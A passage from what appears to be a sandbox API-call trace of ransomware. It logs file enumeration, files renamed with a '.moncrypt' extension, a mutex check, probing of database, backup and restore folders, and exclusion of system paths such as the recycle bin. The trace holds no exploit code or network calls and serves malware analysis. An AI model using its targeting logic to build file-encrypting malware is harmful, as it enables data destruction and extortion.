ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x55f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.117] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.117] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.117] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.117] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.117] GlobalUnlock (hMem=0x440004) returned 0 [0054.118] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.118] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.118] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.118] GlobalUnlock (hMem=0x440004) returned 0 [0054.118] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.118] GlobalUnlock (hMem=0x44000c) returned 0 [0054.118] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.118] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x55f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.118] GetLastError () returned 0x12 [0054.118] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.118] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0054.118] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.118] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.118] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.118] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.118] GlobalUnlock (hMem=0x44000c) returned 0 [0054.118] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.119] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.119] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.119] GlobalUnlock (hMem=0x44000c) returned 0 [0054.119] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.119] GlobalUnlock (hMem=0x440004) returned 0 [0054.119] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.119] GlobalLock (hMem=0x440004) returned 0x550170 [0054.119] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.119] GlobalUnlock (hMem=0x440004) returned 0 [0054.119] GlobalLock (hMem=0x440004) returned 0x550170 [0054.119] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.119] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.119] GlobalUnlock (hMem=0x440004) returned 0 [0054.119] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.119] GlobalUnlock (hMem=0x44000c) returned 0 [0054.119] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.119] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING") returned 1 [0054.119] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.120] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.120] GlobalUnlock (hMem=0x44000c) returned 0 [0054.120] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.120] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.120] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.120] GlobalUnlock (hMem=0x44000c) returned 0 [0054.120] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.120] GlobalUnlock (hMem=0x440004) returned 0 [0054.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@姶U姊U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.121] GetLastError () returned 0x3 [0054.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18㿬Q\x181")) returned 0xffffffff [0054.122] GetLastError () returned 0x2 [0054.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0054.122] GetLastError () returned 0x2 [0054.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0054.123] GetLastError () returned 0x2 [0054.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18몤R\x18j")) returned 0xffffffff [0054.123] GetLastError () returned 0x2 [0054.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0054.124] GetLastError () returned 0x2 [0054.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0054.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0054.124] GetLastError () returned 0x2 [0054.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18?T\x18\x81")) returned 0xffffffff [0054.125] GetLastError () returned 0x2 [0054.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0054.125] GetLastError () returned 0x2 [0054.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.126] GetLastError () returned 0x2 [0054.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@奌U企@\x18?T\x18\x97")) returned 0xffffffff [0054.126] GetLastError () returned 0x2 [0054.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.126] GlobalLock (hMem=0x440004) returned 0x550170 [0054.126] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.126] GlobalUnlock (hMem=0x440004) returned 0 [0054.127] GlobalLock (hMem=0x440004) returned 0x550170 [0054.127] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.127] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.127] GlobalUnlock (hMem=0x440004) returned 0 [0054.127] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.127] GlobalUnlock (hMem=0x44000c) returned 0 [0054.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.127] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.127] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.127] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.127] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5d8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.128] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.128] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.128] GlobalUnlock (hMem=0x44000c) returned 0 [0054.128] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.128] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.128] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.128] GlobalUnlock (hMem=0x44000c) returned 0 [0054.128] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.128] GlobalUnlock (hMem=0x440004) returned 0 [0054.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.128] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\spring\\") returned 0x3f [0054.129] MultiByteToWideChar (in: CodePage=0x4e4, 